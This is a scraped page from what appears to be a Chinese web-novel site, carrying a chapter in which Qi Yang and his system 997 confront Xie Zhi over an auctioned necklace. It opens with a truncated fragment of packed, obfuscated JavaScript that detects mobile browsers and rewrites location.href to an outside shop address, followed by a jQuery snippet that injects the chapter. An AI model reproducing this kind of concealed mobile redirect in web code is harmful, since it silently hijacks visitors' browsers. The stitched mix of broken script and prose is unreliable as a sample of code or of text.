l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444222|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又多了个喇叭,祁漾胀着后脑闷头往前。 管家助理已经快步上前按下电梯等候。 全景玻璃电梯一点一点上行到三层。 “叮”,门开的一瞬间,祁漾抬脚正要往前,走廊尽头却传来一阵开门的声音。 祁漾下意识一抬头。 是谢执。 两人就这么一个在电梯前,一个在走廊尽头,隔着中间冗长的走道,同时停下动作。 管家助理视线在两人之间来回两圈,没说话,往后退了一步,背靠着走廊墙壁低头等待。 电梯开了又阖上。 整个三层突然安静下来,安静到能听到谢祥在楼下说话的动静。 先是嚷嚷“拍卖会”,再是“项链”。 祁漾都忘了谢执也在,更没料到两人会这么撞上,但却清晰地看见,在谢祥声音响起的瞬间,谢执很轻地侧过脸,朝着一楼的方位掠了一眼。 就那么一眼,祁漾警铃拉响。 “谢执。”在谢执转身回房的刹那,祁漾脱口喊出声。 谢执这次停下了脚步。 祁漾:“……” 祁漾喊完就后悔了。 他甚至不知道自己为什么突然喊住了谢执,只是有种预感,如果让谢执这么回去,那条项链或许永远也送不出去了。 电梯下行键因为失去指令,由亮转暗。 祁漾冷静下来。 这一晚上他都在思考一件事。 “997,”祁漾在脑海里唤了一声,“你说过,以谢执的性子,不可能不安排人来取回项链。” “可一晚上他都没动静。” “那原因大概只有一个。” 997:“…他不想要这项链了?” “不是,”祁漾利落道,“你家男主对我起疑心了。” “他不来拿,就是想看我拍下这条项链之后要做什么。” 997沉默两秒。 “…然后今天谢祥来了,”997把所有事情串在一起,想清楚里头的利害关系,“宿主,谢执不会以为是你和谢家串通好的吧?” 祁漾希望没有。 但如果谢执真起了疑心,他也不奇怪。 虽然在拍下那项链前,他确实不知道项链是沈舒的,但无论是三百万拍下,还是后来用“SS”签下确认书,再到今早谢祥出现,一环套一环,的确巧合得有些过分了。 “宿主……”997藏不住的担心。 祁漾却有种悬剑落下的轻盈,甚至很轻地吐了一口气:“没事。” 用项链试探他,怀疑他,这才是谢执。 997:“那这个任务还做吗?” “做,怎么不做,还得拿积分换那条平安扣呢。”祁漾悠悠说了这么一句,继而抬眸,看着不远处静静站在那里的谢执。 “997,你知道什么叫做把水搅浑,先发制人,占据道德高地吗?”祁漾忽地问。 997:“?” 997还不来及思考祁漾的话,先听到了祁漾的声音。 这次不是对它说的。 “谢执,”祁漾直直望向前方,“那条项链到底什么名堂。” 997浑身数字都要吓得炸开:“宿、宿主?!” 电梯上方是一块斜顶钻石天窗,祁漾就穿着一身银白条纹的丝质睡衣,站在那天窗下面。 天光打落在他身上。 而谢执站在长廊尽头长长的阴影里。 “昨晚范锐达也是谢家安排的吧,否则给他两百个胆子,也不会在谢家的慈善晚宴上喊个那么恶心人的价。”祁漾表情和声音都很淡。 “昨晚是范锐达,今早又是谢祥。” “一出接着一出。” “就为了一条项链,这么大费周章。” 祁漾不紧不慢,一句接着一句说完。 997终于知道了什么叫“倒打一耙”,此时一个字都不敢说,随着祁漾的视线一起看向谢执。 好像有什么东西粘稠而缓慢地在两人之间流动。 谢执终于动了。 祁漾看着他抬脚走过来。 一步,两步,三步。 谢执穿过黑暗,走到落着天光的边缘地带,停在这里。 “既然知道,为什么还要拍。”谢执丝毫不回避,同样看着祁漾。 没有一点被“揭穿”的慌张,一副漫不经心的模样。 “承认了?”祁漾挑眉。 谢执:“嗯。” “那我也说实话,”祁漾点了点头,“拍下那条项链,就是因为合眼缘。” 谢执少见地笑了下:“祁少合眼缘的东西都要拍下来么?” 祁漾竟然还真的思考了下,然后答:“是,只要我想。” 管家助理视线又在两人之间转了一圈。 投完石问完路,祁漾露出狐狸尾巴:“既然醒了,就一起吧。” “就当看戏了。” 祁漾不再看他,冷着一张漂亮脸蛋,转身走进电梯,淡声给谢执抛下“指令”。 “下楼。”